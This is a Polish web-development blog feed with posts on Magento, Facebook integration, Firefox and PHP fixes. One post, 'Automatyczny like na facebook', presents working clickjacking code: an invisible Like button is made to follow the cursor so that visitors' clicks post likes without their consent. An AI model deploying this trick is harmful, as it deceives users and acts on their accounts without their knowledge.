tag:blogger.com,1999:blog-84845121694423258412024-02-08T19:28:20.793+01:00O programowaniu stron wwwRozwiązania związane z programowaniem w PHP i JavaScript, których zwykle trzeba się naszukać. Tutaj skrótowo i w języku polskim.Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.comBlogger36125tag:blogger.com,1999:blog-8484512169442325841.post-88229452383356048242011-09-21T22:22:00.036+02:002011-09-22T00:17:19.840+02:00SpecyfikacjaPo wakacjach wyraźnie wzrosła liczba zapytań kierowanych w różny sposób przez potencjalnych klientów, dotyczących projektów jakie zamierzają zrealizować. Pozwala to dostrzec pewne elementy, które ułatwiają wybór klienta, ponieważ mam wrażenie, że przy obecnej liczbie potencjalnych klientów sztuką jest odpowiedni dobór, a nie samo pozyskanie klienta.
<br />
Pojęciem które zwykle wiąże się z przygotowaniem projektu jest specyfikacja, która to trafia do nas najczęściej w załączniku, lub po wcześniejszym zapytaniu o samą chęć podjęcia współpracy, bywa też tak genialna (zdaniem wysyłającego), że jest tajna i może być przesłana dopiero po podpisaniu umowy o poufności.
<br />
Wśród specyfikacji wyróżniłbym następujące typy:
<h3>Specyfikacja wirtualna</h3>
Jest to specyfikacja, która nie istnieje. Zwykle pojawia się kiedy ktoś ma jakąś wizję i jest napalony żeby jak najszybciej ją zrealizować, często jest gotowy uprościć ją do minimum byleby zacząć, a potem nie da już spokoju odkrywając przed nami coraz głębsze i co raz bardziej nietrzymające się kupy jej elementy. Wirtualna napisałem dlatego, żeby odróżnić ją od kolejnej sytuacji kiedy również nie ma specyfikacji, ale klient nie twierdzi że ma i nie twierdzi że wie :)
<h3>Brak specyfikacji</h3>
Mam na myśli sytuację kiedy klient ma jakiś ogólny pomysł, a może nawet częściej potrzebę, ale nie zna się lub nie ma zamiaru narzucać szczegółów rozwiązania. Chociaż na pierwszy rzut oka mogłoby się wydawać, że to źle, to z moich doświadczeń wynika, że szczególnie przy małych i średnich projektach jest to najlepsze co może być. Narzucamy wtedy swoje rozwiązania o których mamy pojęcie i tłumaczymy mu tylko co i jak. Jeśli klient jest kumaty, to wszystko idzie sprawnie :) Piszę "kumaty", bo chodzi o to żeby łatwo rozumiał co mu mówimy i logicznie formułował swoje pomysły, a nie o to żeby znał się na komputerach...
<h3>Specyfikacja baaaardzo szczegółowa</h3>
Chyba jako człowiek leniwy szczególnie takich nie lubię. Wygląda to zwykle tak, że ktoś opisuje bardzo szczegółowo oczywiste funkcje, a w skrajnych przypadkach powtarza te opisy dla każdego elementu np opisuje każdą podstronę która różni się tylko treścią i jeszcze robi do tego makiety najlepiej w jakimś programie, który do tego nie służy. W takiej specyfikacji autor objaśni nam, że jak w wyszukiwarce ktoś wybierze Warszawę to mają się pokazać oferty z Warszawy, a jak Gdańsk to z Gdańska. Czytanie czegoś takiego jest męką, tym bardziej, że połowę (jeśli nie całość) czyta się często nie mając nawet informacji o czym się czyta, ponieważ autor skupiony na szczegółach zapomniał wpisać tytułu, czy krótkiego wstępu. Jak się już człowiek zorientuje o co chodzi to wypada przeczytać od nowa ze zrozumieniem, a potem przed rozpoczęciem pracy wypadałoby wyłapać i wyjaśnić każdy szczegół, który:
<ul>
<li>powinien być zrealizowany inaczej z przyczyn obiektywnych jak np: są gotowe rozwiązania działające trochę inaczej (czasem lepiej), więc np ze względu na koszty i czas lepiej wziąć gotowiec</li>
<li>jest niemożliwy do zrealizowania - kiedyś mi klient napisał że strona ma mieć ekran pożegnalny, który jak potem nieszczęsny zrozumiałem miał się pokazywać po jej zamknięciu :)</li>
<li>wydaje się dziwny, niepotrzebny, wynikający z niewiedzy...</li>
</ul>
Jeżeli tego nie przemielimy i nie wyjaśnimy narażamy się na ryzyko, że potem ktoś będzie nam mógł wypunktować niezgodności ze specyfikacją, a za analizę specyfikacji nikt nam nie płaci, więc szczególnie jeśli ich dużo nie możemy poświęcać na nie za wiele czasu. Osobiście mnie takie projekty trochę odstraszają - zamiast specyfikacją kieruję się opinią o kliencie - zarówno o firmie jak i osobie kontaktowej. Problem osoby kontaktowej jest dość ważny - większe firmy mają pracownika, który podczas realizacji projektu będzie nam ułatwiał pracę, a nawet wykonywał jej część, lub zatruwał życie debilnymi pomysłami. Źle jeśli jest to osoba, która dużo wymyśla, ale o wszystko musi pytać szefa, ponieważ najpierw coś wymyśla i pyta nas (boi się że szef uzna pomysł za głupi) my wyjaśniamy, wtedy jest mądrzejsza i albo pyta szefa albo nie, a potem szef albo się zgadza albo nie. Stajemy się więc trochę takim korepetytorem ;)
Dobrze jak jest to osoba komunikatywna, decyzyjna, inteligentna i sympatyczna.
<h3>Specyfikacja "taka jak" oraz specyfikacja "taka jak sprzeczna"</h3>
Specyfikacja "taka jak" to krótkie pytanie w stylu:
Ile kosztowałaby u pana strona taka jak allegro/maxmodels/grupon/facebook. W sumie należałoby do tego opatentować typ odpowiedzi "tyle co". I odpowiadać tyle co allegro/maxmodels/grupon/facebook. Nie są to takie złe tematy jeśli mamy na oku jakiegoś gotowca działającego podobnie, zwykle prostszego. Posyłamy linka do dema i jeśli klientowi to odpowiada to jest git... Jeżeli nie ma gotowca to pewnie jest to za duży projekt do realizacji przez freelancera.<br />
Specyfikacja "taka jak sprzeczna" to pytanie typu: chciałbym stronę coś jak nk.pl, lub wp.pl gdzie nie dostrzegamy żadnego podobieństwa poza dwuliterową domeną ;] W tej sytuacji proponuję poprosić klienta o przesłanie specyfikacji ;)
<h3>Specyfikacja marzeniowa</h3>
Widać, że autor specyfikacji siedzi w temacie i pomyślał o wszystkim. Pisze o systemie który ma wszystkie funkcje o jakich można zamarzyć, może być rozbudowywany na wszelakie sposoby, komunikuje się z innymi dzięki funkcjonalnemu api, może zmieścić nieograniczone ilości danych działając przy tym szybko i bez zakłóceń. Jest to połączenie najlepszych wzorców, funkcje są jakby zbitką najlepszych haseł wziętych z opisów różnych dużych CMSów, czy sklepów, które nawet w nich nie koniecznie w praktyce sprawdzają się tak dobrze. Dzisiaj miałem zapytanie w którym sklep miał obsługiwać 7 systemów płatności wymienionych z nazwy i oczywiście mieć możliwość łatwego dodania kolejnych - nie wiem komu jest potrzebne 7 systemów płatności w 1 sklepie? Co zrobić z takim zapytaniem? wpadłem na to klepiąc ten wpis - należy polecić firmę która specjalizuje się w obiecywaniu cudów, a potem instaluje gotowca i zmienia CSS, lub podzleca to zadanie. Ktoś jednak musi napompować tą realizację by jej wyjątkowość odpowiadała oczekiwaniom zleceniodawcy :)
<br />
<br />
ps. obiecuję że się wezmę i napiszę coś przydatnego następnym razemFilip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com2tag:blogger.com,1999:blog-8484512169442325841.post-76236657510141996042011-08-17T10:04:00.002+02:002011-08-17T10:35:14.191+02:00As we notified you earlier, this feature is temporarily unavailable because you've been making spammy and irrelevant posts on Facebook Pages.Do niedawna facebook był miejscem w którym wstawienie linku było prostsze niż gdziekolwiek indziej. W dodatku przy dobrym ustawieniu strony (meta tagi dla FB) były to linki wzbogacone w grafikę. Wystarczyło kliknąć "Lubię to!" na jakiejkolwiek tablicy strony (najlepiej jakiejś popularnej) i wkleić link. Wydaje mi się, że jeszcze miesiąc temu nie było w tym zakresie żadnych ograniczeń. Sam akurat rozkręcałem portal, który doskonale nadawał się do popularyzowania na FB. Wrzucałem więc bardzo dużo linków na popularnych tablicach (np lady gagi ;]). Potem moja aktywność opadła. Ostatnio wrzuciłem kilka linków (jak się nie mylę to 3 razy ten sam link na różnych tablicach) i dostałem komunikat:<br /><br />
<span style="font-style:italic;">As we notified you earlier, this feature is temporarily unavailable because you've been making spammy and irrelevant posts on Facebook Pages.</span><br /><br />
Co dla nieznających angielskiego (komunikatu nie raczyli/zdążyli przetłumaczyć co też by wskazywało na to, że to nowość) w moim genialnym tłumaczeniu oznacza:<br /><br />
<span style="font-weight:bold;">Ta funkcja jest chwilowo niedostępna (o czym już Cię informowaliśmy), ponieważ wrzucałeś spamerskie i nieodpowiednie posty na strony facebookowe.</span>
<br /><br />
Akurat co do nieodpowiedniości tych postów miałbym wątpliwości, ponieważ nie są to posty typu: "Franek jest dzisiaj seksowny na 67%", tylko linki do video, lub artykułów związanych ze stroną danego artysty, które bardzo często są jeszcze likeowane przez użytkowników FB, lub samego właściciela strony. Nie da się wykluczyć zgłoszenia przez kogoś jako spam, ale stawiałbym na zwykłe wyliczenie - wrzuciłeś X razy ten sam link na różne tablice to spamujesz... ciekawe, czy jest ktoś w stanie to potwierdzić??<br /><br />
Niezależnie od tego jak to działa to wydaje mi się, że działa niedoskonale, ponieważ nie wiadomo dlaczego zostaliśmy zablokowani. Nie ma informacji kto i co zgłosił jako spam? albo chociaż ile było zgłoszeń. Moim zdaniem idealną funkcją ograniczającą zjawisko spamowania byłoby blokowanie użytkowników - po kliknięciu w krzyżyk obok posta oprócz opcji usuń/zgłoś spam dodatkowo - blokuj posty od tego użytkownika... ale pewnie nikt z facebooka nie czyta mojego cudownego bloga, który z bloga o programowaniu staje się chyba blogiem o marudzeniu...Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com2tag:blogger.com,1999:blog-8484512169442325841.post-68130134676644884642011-06-14T07:09:00.004+02:002011-06-14T07:37:07.027+02:00Rotatory - wypromuj.net, traffic4u.pl etc.Jako, że bawię się ostatnio we własny portal szperałem trochę zarówno pod kątem możliwości promocji swojej strony jak i zarabiania na niej. Jednym ze sposobów promocji na jaki natrafiłem na allegro mają być wejścia z rotatorów. Na allegro będzie się to po prostu nazywało wejścia ;) Czyli ktoś sprzedaje 2000 unikalnych wejść na naszą stronę i taka atrakcja kosztuje 9 PLN. W aukcjach napisane jest, ze jest to lepsze niż mailing, bo gwarantuje wejścia - bzdura ale zamówiłem :) <br />
Jednocześnie sam zarejestrowałem się w <a href="http://www.wypromuj.net/?refid=blackpig" rel="nofollow">wypromuj.net</a>. Jest to prosty skrypt, który wyświetla nam strony po 20 sek każdą i w zamian za każde wyświetlenie daje punkty, a za te punkty nasza strona może się wyświetlać innym. Sęk w tym, że żeby strony się wyświetlały to nie musimy być nawet przy komputerze, jak za pewne robi większość użytkowników programu, czyli nikt tej naszej strony nawet nie ujrzy. Od razu pojawiają się pomysły:
<ul>
<li>Rotator wyświetla stronę w ramce - dodajmy skrypt wyskakujący z ramki (tzw. zrywanie ramek) i taki delikwent co włączył rotator na noc obudzi się z otwartą naszą stroną i ją zobaczy!</li>
<li>Wstawmy na stronie ramki z linkami do innych stron i rotator zamiast nabić 100 wejść nabije 1000, albo niech w ramkach będą linki partnerskie</li>
<li>Wstawmy reklamy płatne od wyświetlenia (CPM) np z programu: <a href='http://www.cpmprofit.com/?ref=cameralmusic' rel='nofollow'>cpmprofit.com</a></li>
</ul>
Niestety wszystkie te pomysły nie są nowe, a co za tym idzie już się przed nimi zabezpieczono. Strona w rotatorze nie może zawierać ramek, ani ich zrywać - może za to wylecieć, co wielką stratą nie jest. Programy typu <a href='http://www.cpmprofit.com/?ref=cameralmusic' rel='nofollow'>cpmprofit.com</a> nie zezwalają na automatyczne generowanie ruchu... Biorąc pod uwagę powyższe nie widzę żadnych pozytywnych aspektów reklamy przez rotator - właściwie tylko obciąża serwer, zżera transfer i utrudnia analizę odwiedzin :)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com11tag:blogger.com,1999:blog-8484512169442325841.post-21920113498077374802011-05-12T09:12:00.000+02:002011-05-13T22:35:34.074+02:00Firefox 4 - migający pasek adresu - dwa monitoryPo aktualizacji Firefoxa do wersji 4 zauważyłem że jeśli działa on na drugim monitorze to pasek adresu (i inne pola na których wyświetlają się podpowiedzi podczas wpisywania) migają i znikają. Po przeciągnięciu przeglądarki na pierwszy monitor jest OK. Okazuje się, że w nowej wersji jest opcja pozwalająca na używanie akceleracji sprzętowej w przeglądarce, która jest domyślnie włączona, a przy dwóch monitorach nie działa poprawnie. Aby ją wyłączyć wchodzimy w do menu (menu jest teraz w lewym górnym rogu i nazywa się Firefox), następnie najeżdżamy "opcje", a potem znowu "opcje" i w zakładce "zaawansowane" mamy podzakładkę "ogólne", gdzie odznaczamy pole: "Korzystaj z akceleracji sprzętowej, kiedy jest dostępna". Problem znika i można dalej pracować :)
<br /><br />
<img src='http://programistawww.pl/przyklady/ffakceleracja.jpg' />
<br /><br />
<span style="font-style:italic;">ps. najpierw wypisałem te kroki tak dokładnie żeby się wyżyć, bo byłem poirytowany, że menu jest w lewym górnym rogu, a do tego pole "opcje" jako pozycja submenu w menu "opcje" jest bez sensu, ale potem odkryłem, że te pierwsze "opcje" też można kliknąć, pomimo że mają submenu - jakąś nową kontrolkę chyba wymyślili od czasu jak an studiach używało się delphi ;]</span>Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com1tag:blogger.com,1999:blog-8484512169442325841.post-53606023533762498012011-05-10T16:57:00.003+02:002011-05-10T17:02:21.275+02:00Abort class-pclzip.php : Missing zlib extensionsBłąd wyskoczył podczas próby instalacji wtyczki jwplayer do wordpressa na zagranicznym serwerze. Powód wyłączone rozszerzenie zlib do php, które służy do pakowania/rozpakowywania plików. Normalnie można to włączyć w php.ini - pod warunkiem że mamy do tego dostęp, jeśli nie mamy można spróbować tak:
<textarea class='kod'>
dl('zlib.so');
</textarea>
Czyli próba załadowania zlib jako biblioteki dynamicznej. Dodałem to jako pierwszą linijkę w pliku wp-config.php i pomogło, więc komuś też może pomóc :)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com0tag:blogger.com,1999:blog-8484512169442325841.post-24701394755816297782011-05-06T22:37:00.004+02:002011-05-06T22:44:22.717+02:00Facebook pobiera nie to zdjęcie co trzebaDomyślnie podczas wstawiania linka na facebooka skrypt pobiera zdjęcia z naszej strony w kolejności takiej jak na niej występują. Jeśli serwis ma budowę kolumnową to często pobierze np zdjęcia produktów z lewej kolumny, którą najpierw napotkał, a dopiero potem zdjęcie właściwe ze środka. Można zmusić FB do pobrania właściwego zdjęcia wstawiając w sekcji head następujący tag:<br /><br />
<meta property="og:image" content="http://domena.pl/zdjecie_domyslne.jpg" >
<br /><br />
Dzięki temu rozwiązaniu facebook wybierze właściwą fotkę (tej fotki nie musi nawet być na stronie).<br />
Aha uwaga na jedną rzecz - w tym tagu trzeba podać pełny URL zdjęcia - nied ziała z relatywnym, przez co nie mogłem tego pojąć przez jakiś czas :)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com4tag:blogger.com,1999:blog-8484512169442325841.post-15231542290047063432011-05-05T11:35:00.005+02:002011-05-05T13:16:46.518+02:00Facebook Graph API i mała dziuraWszyscy wstawiają już od dawna na strony facebookowe gadżety: likeboxy, feedy itd... Zabrałem się ostatnio za własny projekt portalowaty (<a href='http://cameralmusic.pl/' title='CameralMusic.pl - więcej niż muzyka klasyczna'>muzyka klasyczna</a>) stąd może moje zainteresowanie tymi jak wcześniej sądziłem gadżetami stało się większe. Wcześniej ograniczało się to do wstawiania tego, co sobie klient zażyczy,a klient życzy sobie niewiele, bo nie wiele wie.<br />
Wcześniej korzystałem też z logowania facebookowego, ale w sumie tylko dla uproszczenia autoryzacji. Teraz klikając po tych zakładkach: developers.facebook.com znalazłem tą dotyczącą <a href='http://developers.facebook.com/docs/reference/api/' rel='nofollow'>Graph API</a>.<br />
API przeznaczone chyba bardziej dla skryptów JS - dane przesyłane w formacie: JSON, ale odczyt w PHP jest bajecznie prosty:
<textarea class='kod'>
$wynik_json = file_get_contents('https://graph.facebook.com/331218348435');
$wynik_ob = json_decode($wynik_json);
</textarea>
I już w zmiennej: <b>$wynik_ob</b> mamy wszystkie publiczne informacje na temat wydarzenia, notatki, użytkownika, komentarzy, albumów użytkownika, lub strony. Część danych zabezpieczona jest tokenem (<a href='http://developers.facebook.com/docs/authentication/#app-login' rel='nofollow'>jak pobrać token</a>).
Token pobiera się prosto, ale musimy najpierw stworzyć aplikację i otrzymać do niej app key i secret.<br />
Szczerze mówiąc z lenistwa korzystałem z tokena, który jest w przykładowych linkach w dokumentacji - czyli wygenerowanego dla mnie jako użytkownika a nie jako aplikacji (przynajmniej tak mi się wydaje). I dopiero pisząc tego posta stwierdziłem, że wypadało by to zrobić w cywilizowany sposób i tutaj pierwsza niespodzianka:
<br /><br />
<b><i>Abyś można było wykonać tę operację, Twoje konto musi zostać zweryfikowane. Możesz to zrobić, dodając jedną z następujących informacji: telefon komórkowy lub credit card.</i></b>
<br /><br />
Czyli na stronie:<br />
<a href='http://developers.facebook.com/docs/reference/api/' rel='nofollow'>http://developers.facebook.com/docs/reference/api/</a> dostaję token bez żadnej weryfikacji konta kartą kredytową, czy telefonem, wystarczy że jestem zalogowany :) - to ta mała dziura ;]<br />
<br />
Poza tym token wydaje się działać równie dobrze jak ten wycinany z URL-a ;]<br />
Teraz dobry moment na przywołanie artykułu z TVN24.PL (<a href='http://www.tvn24.pl/-1,1701667,0,1,facebook-_-przerazajaca-machina-do-szpiegowania,wiadomosc.html' rel='nofollow'>Facebook - przerażająca machina do szpiegowania</a>). Sugestia że spec służby maja mieć dostęp do danych z FB - np informację o sieci kontaktów użytkownika. Nie wiem czy FB udostępnia coś FBI, ale wiem, że z tego co udostępnia każdemu zalogowanemu userowi można spokojnie analizować sieć powiązań między użytkownikami. Nie da się podejrzeć znajomych użytkownika, ale ta niemożność jest dość pozorna. Można wiązać userów np po komentarzach w tych samych wątkach. <br /><br />
Ale można pomyśleć też o bardziej cywilizowanych zastosowaniach - np: prowadząc portal informacyjny można pobierać informacje o bieżących wydarzeniach np takim URLem:
<textarea class='kod'>
https://graph.facebook.com/119743164714329/events?access_token=[TWOJ_TOKEN]
</textarea>
Wyciągniemy info o wszystkich wydarzeniach z profilu Pudziana, takim:
<textarea class='kod'>
https://graph.facebook.com/search?q=pudzian&type=event&access_token=[TWOJ_TOKEN]
</textarea>
O wszystkich wydarzeniach ze słowem "pudzian". I już możemy stworzyć stronę o pudzianie, która będzie się sama aktualizowała newsami o naszym bohaterze ;]
<br /><br />
Można by pomyśleć o portalu informacyjnym w którym automatycznie publikowało by się wydarzenia z FB z wybranych profilów - wystarczy że user wybrał by jakiś szablon i podał linka do swojego profilu :)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com0tag:blogger.com,1999:blog-8484512169442325841.post-92204686249993569272011-02-09T21:02:00.011+01:002011-02-09T21:32:10.051+01:00Wtyczki firefox - NIEZBĘDNIK PROGRAMISTYPostanowiłem podzielić się informacjami na tematy wtyczek jakich używam podczas pracy. Wtyczki jak webdeveloper czy firebug to już standardy, ale są też inne fajne i użyteczne narzędzia, a może ktoś coś dorzuci do listy do listy ;)??<br /><br />
<a href='https://addons.mozilla.org/pl/firefox/addon/web-developer/' rel='nofollow' target='_blank'>Web Developer</a> - dokłada nam cały pasek narzędzi często używane to podgląd CSS, wyświetlanie źródła wygenerowanego przez skrypty, możliwość zaglądania i modyfikowania ciasteczek, szybkie wyłączanie javy, czy skryptów, wyświetlanie szczegółowych informacji o błędach i wiele innych...Część użytkowników narzeka na przymulanie, więc ewentualnie można wyłączyć poza pracą<br /><br />
<a href='https://addons.mozilla.org/pl/firefox/addon/firebug/' rel='nofollow' target='_blank'>FireBug</a> - pozwala przeglądać i edytować kod bezpośrednio na stronie i od razu śledzić efekty, możemy też prześledzić wszystkie zapytania wysyłane podczas ładowania strony wraz z czasami odpowiedzi :)<br /><br />
<a href='http://www.seoquake.com/' target='_blank' rel='nofollow'>SeoQuake</a> - dodatek głównie dla pozycjonerów, wyświetla masę informacji typu page rank, linki, statystyki słów itd... to dopiero jest przymulacz - dla programistów polecam włączanie w razie potrzeb ;)<br /><br />
<a href='https://addons.mozilla.org/pl/firefox/addon/measureit/' rel='nofollow' target='_blank'>MeasureIt</a> - maleńka wtyczka objawiajaca się ikonką w lewym dolnym rogu przeglądarki, która pozwala szybko zmierzyć różne elementy, czyli szybka linijka - jak klient mówi że ma być 16px odstępu to bierzemy MeasureIt patrzymy ile jest teraz i dodajemy bądź odejmujemy właściwą liczbę, albo robimy screena i wysyłamy informację "przecież jest 16!!!" ;)<br /><br />
<a href='https://addons.mozilla.org/en-US/firefox/addon/colorzilla/' rel='nofollow' target='_blank'>ColorZilla</a> - czyli kolejny maluszek siedzący w lewym dolnym rogu, który pozwala nam odczytać wartość koloru z dowolnego elementu strony :)<br /><br />
A teraz może ktoś coś dołoży ;)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com1tag:blogger.com,1999:blog-8484512169442325841.post-60815101541230453422011-01-31T20:30:00.006+01:002011-01-31T20:47:00.521+01:00hosts - czyli sposób na przetestowanie domeny przed podłączeniemCzęsto zdarza się, potrzebujemy przetestować działanie strony, a nie mamy jeszcze podpiętej właściwej domeny. Klient jeszcze nie wysłał danych lub tp. Niekiedy nie chcemy podpinać żeby nie było widać nie dokończonego serwisu, albo są jeszcze jakieś inne powody... Wiem, że można podpiąć stronę roboczo na subdomenie, pracować w podkatalogu, zabezpieczyć hasłem albo włazić po IP, ale wszystkie te rozwiązania mają swoje wady (pewnie po podpięciu domeny zawsze może nas coś zaskoczyć).<br />
<b>Rozwiązanie?</b><br />
Edytujemy plik:<br />
<b>C:\Windows\System32\drivers\etc\hosts</b><br />
(ścieżka dla windows 7, jak ktoś nie ma tam to proponuję użyć funkcji szukaj :) ) edycja wymaga uprawnień admina<br />
Dopisujemy na końcu linijkę w formacie:<br />
IP domena<br />
np:<br />
123.123.23.321 www.onet.pl<br />
System przed odpytaniem DNS sprawdza ten plik, więc zachowa się tak jak by była przekierowana na ten IP :)<br /><br />
Można to też wykorzystać jeśli nie chce się czekać ok 20h po podpięciu domeny na odświeżenie DNS :)<br /><br />
ps. BTW plik hosts można też zastosować do blokowania dostępu do wybranych serwisów (przekierowując domeny na dowolny inny adres), poblokować jakiś spam itd...Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com0tag:blogger.com,1999:blog-8484512169442325841.post-38728390313021974982011-01-13T18:02:00.003+01:002011-01-13T18:07:43.746+01:00Magento zmiana URLJeśli kopiujemy magento pod inny adres (w moim wypadku kopia robocza) to w bazie danych np przez phpMyAdmina należy zmienić 2 wpisy w tabeli: <b>core_config_data</b><br />
<b>web/unsecure/base_url</b><br />
<b>web/secure/base_url</b><br />
Na wartości aktualnego URL-a serwisu - inaczej skrypt przekierowuje uporczywie na stary adres.<br />
Jeśli to nie pomoże to należy ręcznie wyczyścić cache w okrutny sposób ręcznie kasując całą zawartość katalogu: <b>var/cache/</b>.<br />
... i to tyle...Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com1tag:blogger.com,1999:blog-8484512169442325841.post-84366143733128952082010-12-29T20:15:00.009+01:002010-12-30T10:58:07.990+01:00Automatyczny like na facebookWymyśliłem sobie dzisiaj automatycznego like'a na facebooka. Działanie: użytkownik klika w cokolwiek na stronie, a efektem kliknięcia jest dodanie posta na jego tablicy facebookowej (bez żadnego zezwalania na integrację itd...).<br />
Użytkownik musi być zalogowany na facebooku, a dalej jest to już dość proste: <br />
1. Umieszczamy na stronie przycisk facebookowy, który można wygenerować tutaj:
<a href='http://developers.facebook.com/docs/reference/plugins/like' rel='nofollow' target='_blank'>http://developers.facebook.com/docs/reference/plugins/like</a><br />
2. Przycisk otaczamy divem i za pomocą jquery pozycjonujemy tak żeby gonił pod kursorem
<textarea class='kod'>
$(document).mousemove(function(e){
$('#facebook').css('left',e.pageX-2);
$('#facebook').css('top',e.pageY-7);
});
</textarea>
Efekt widać tutaj: <a href='http://automat-facebook.programistawww.pl/example.php' target='_blank' rel='nofollow'>http://automat-facebook.programistawww.pl/example.php</a>
<br /><br />
Pozostaje ukryć button za pomocą CSS i opacity i oprogramować zdarzenie onclick...
Niestety nie wpadłem na pomysł jak wykryć zdarzenie onclick (jest ono wewnątrz ramki do której nie mamy dostępu), więc oprogramowałem zdarzenie onblur dla dokumentu, gdzie chowam diva z facebookiem.
Całość w działaniu tutaj:
<a href='http://automat-facebook.programistawww.pl/' target='_blank'>http://automat-facebook.programistawww.pl/</a><br /><br />
kod tutaj:
<textarea class='kod'>
<script>
document.write("<div style='position:absolute;display:block;' id='facebook' onfocus='alert();'>");
document.write('<iframe id="facebookframe" name="facebookframe" src="http://www.facebook.com/plugins/like.php?href='+escape(document.location.href)+'&layout=standard&font=verdana&show_faces=false&width=100&colorscheme=light&height=30" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px !important; height:30px; top:0px; left:0px;" allowTransparency="true" scrolling="auto"></iframe>');
document.write('</div>');
$(document).mousemove(function(e){
$('#facebook').css('left',e.pageX-2);
$('#facebook').css('top',e.pageY-7);
});
window.document.onblur=function() {
setTimeout("poKliku();",1000);
};
function poKliku(){
$('#facebook').css('display','none');
}
</script>
</textarea>
<br /><br />
Ma ktoś pomysł jak zweryfikować, czy user zlikeował naszą stronę??Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com12tag:blogger.com,1999:blog-8484512169442325841.post-27428227547771859202010-12-09T15:20:00.003+01:002010-12-09T15:25:24.754+01:00CUFON Opera - nie działa, nie ładuje...Odkryłem dzisiaj zabawne zachowanie znanego skryptu do specjalnych czcionek: CUFON. Jeżeli mamy w dokumencie podpięty jakikolwiek <b>PUSTY arkusz stylów CSS</b>, to skrypt po prostu nie działa w przeglądarce opera...Trochę tajemny dla mnie ten związek, ale tak jest - odkryte po wykasowaniu zawartości pliku CSS z pluginu do systemu socialengine, w celu napisania ich od nowa :)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com2tag:blogger.com,1999:blog-8484512169442325841.post-69520771994024175202010-09-21T18:05:00.004+02:002010-09-21T18:35:02.780+02:00Brutto i netto na fakturach - ZAGADKAJestem w trakcie ciężkich bojów, w których bierze udział program Subiekt GT, mechanizm sklepu Magento, mój ukochany arkusz kalkulacyjny MS Excell oraz JA - PROGRAMISTA. Chodzi o import i synchronizację danych pomiędzy tymi delikwentami, co nawet zaczyna się udawać i jak tylko uda mi się zakończyć temat, tak, że nie będzie mi spędzał snu z powiek, to podzielę się częścią rozwiązań na blogu :) Ale nie o tym...<br />
Dzisiaj zauważono, że w programie subiekt na fakturze w pozycji koszt wysyłki zamiast 16,00zł wchodzi kwota 15,99zł - wniosek: <b>programista oszukuje na grosiki</b> (jak kiedyś ponoć jedna Pani w sklepiku szkolnym).
Na fakturę wchodzi pozycja z produktem z Subiekta, któremu wpisano cenę brutto 16zł, a subiekt sam wyliczył cenę netto (przy podatku VAT 22%) w kwocie: 13,11zł.<br />
<b>Co robi program importu?</b><br />
Łączy się z magento, pobiera zamówienia, dla każdego zamówienia tworzy fakturkę sprzedaży i do tej fakturki dodaje pozycje z zamówienia, na końcu sprawdza jeszcze rodzaj wysyłki wybrany do zamówienia i wstawia odpowiednią dostawę, która jest towarem typu: usługa w subiekcie ;)<br />
Patrzy ile ten towar kosztuje i widzi cenę netto 13,11 :)<br />
Wylicza więc VAT i wychodzi mu: 2,8842zł (13,11*22/100)<br />
Radośnie dodaje VAT do kwoty netto: 13,11 + 2,8842 = 15,9942zł<br />
Jako, że na fakturach musimy podać cenę w złotówkach kwota jest zaokrąglana do 2óch miejsc po przecinku robi więc round($cena_brutto,2); i wychodzi mu 15,99zł :)<br /><br />
Po długim bezskutecznym kombinowaniu jak by to wyliczyć, żeby wyszło 16,00zł wpadłem na pomysł - WPISZĘ 13,11 JAKO NETTO DO SUBIEKTA I ZOBACZĘ CO POWIE !<br />
Subiekt mówi cena brutto: 15,99zł<br /><br />
Czyli cena netto z 16zł wynosi 13,11zł, a cena brutto z 13,11zł wynosi: 15,99zł ;)<br /><br />
Na koniec spróbowałem wystawić fakturę ręcznie dodając do niej dostawę - efekt: koszt dostawy na fakturze: 15,99zł :)
<br /><br />
Wydaje się to błahostką, ale jednak taki klient, który wybrał koszt dostawy 16zł w sklepie, może czułby się bardziej komfortowo, gdyby na fakturze też było 16zł. Np gdybym to ja kupował i żona by zobaczyła fakturę i że oszukałem ją o grosik, przecież nie chodzi o kwotę, chodzi o zasadę!!!... nie no trochę zabrnąłem, ale może ktoś mi potrafi wyjaśnić, <b>czy możliwe jest sprzedanie produktu w cenie 16zł brutto i wystawienie na niego faktury przy użyciu najnowszych technologii</b>!?!?Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com10tag:blogger.com,1999:blog-8484512169442325841.post-52700858886021607142010-09-21T17:07:00.005+02:002010-09-21T17:20:00.927+02:00Magento i platnosci.pl brak kosztu wysyłkiNapotkałem niemiły błąd w sklepie opartym na magento związany z modułem platnosci.pl. Polega on na tym, że przy zamówieniu produktu i próbie zapłacenia za pomocą platnosci.pl do ceny <b>nie jest doliczany koszt wysyłki</b>. Wynika to z błędu w module płatności (wersja 1.1).<br />
Aby się go pozbyć należy w pliku: /app/code/local/Mage/Platnosci/Model/Payment.php<br />
zmienić linię nr:
<textarea class='kod'>
$amount = $a->getBaseSubtotal () - $a->getBaseDiscountAmount ();
//czyli suma netto minus obniżki,
</textarea>
zmienić na:
<textarea class='kod'>
$amount = $a->getGrandTotal();
//czyli rzeczywisty koszt brutto
</textarea>
